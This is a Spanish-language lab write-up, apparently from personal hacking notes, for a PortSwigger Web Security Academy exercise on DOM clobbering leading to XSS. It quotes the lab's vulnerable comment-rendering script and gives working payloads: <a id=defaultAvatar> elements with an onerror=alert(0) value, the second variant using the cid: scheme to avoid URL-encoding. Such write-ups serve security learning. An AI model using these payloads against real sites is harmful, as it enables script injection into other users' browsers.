> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/dom/dom-clobbering-xss.md).

# XSS por DOM clobbering

Notas de XSS por DOM clobbering para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Aprovechando DOM Clobbering para habilitar XSS

Explota una vulnerabilidad de DOM clobbering. La funcionalidad de comentarios permite un HTML "seguro". El objetivo es inyectar un fragmento HTML que sobrescriba una variable del DOM (clobbering) y encadenar una ejecución de XSS (`alert()`).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a784c8db7bdd30852b90b321fa695c2f2a43075%2F%7B3F519A83-B505-47E7-B40E-65B5329AB703%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

El área de comentarios acepta HTML y se devuelven algunos elementos (por ejemplo, un `<h1>` intérprete).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4511b0a21a49951ec8c9cd3c62c233180457df7%2F%7BADDAA716-64A1-4DD6-AA85-861408CB4162%7D.png?alt=media" alt="" width="539"><figcaption></figcaption></figure>

* El script del lado del cliente carga y muestra los comentarios recuperados en JSON. Utiliza `DOMPurify.sanitize()` para limpiar `autor` y `cuerpo` los campos, pero otras manipulaciones del DOM siguen siendo vulnerables al clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* El código crea un `defaultAvatar` objeto leyendo `window.defaultAvatar` si está presente; `defaultAvatar` por lo tanto, puede sobrescribirse mediante un elemento DOM con un `defaultAvatar` identificador (clobbering).
* Como el `src` atributo del `<img>` se construye a partir de `defaultAvatar.avatar` cuando `comment.avatar` está ausente, es posible forzar un `defaultAvatar` controlado por el atacante para influir en el valor insertado.
* La inserción se realiza mediante `divImgContainer.innerHTML = avatarImgHTML`, lo que desencadena la interpretación de la cadena HTML construida.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Intenta forzar `defaultAvatar` mediante una `<a id=defaultAvatar>` elemento que contiene un atributo probablemente cause un error del lado del cliente (p. ej., `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Esto está codificado en URL por el sistema

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f7b0ab505e27099f8f0d15431940ba3f47ae4b5%2F%7BEBF4A302-DD1B-4692-A7AB-74D08565C923%7D.png?alt=media" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d22d419e58ecfd01996589a4a6c02bfd36cf7cb%2F%7BA41A9006-852D-44C9-B580-9445618CA502%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Contorneo probado usando un `cid:` esquema para que el valor no se codifique:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

este último se interpreta

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52e51c310f7db7c697cb2282f363bd7da58397a0%2F%7B2B4FCA7B-0FE9-4492-AFF0-C926D120517B%7D.png?alt=media" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13291c7769079a9cdb0f95686b691e99d0f03e46%2F%7B36495909-F4B1-4BEA-992E-A5B8306C556F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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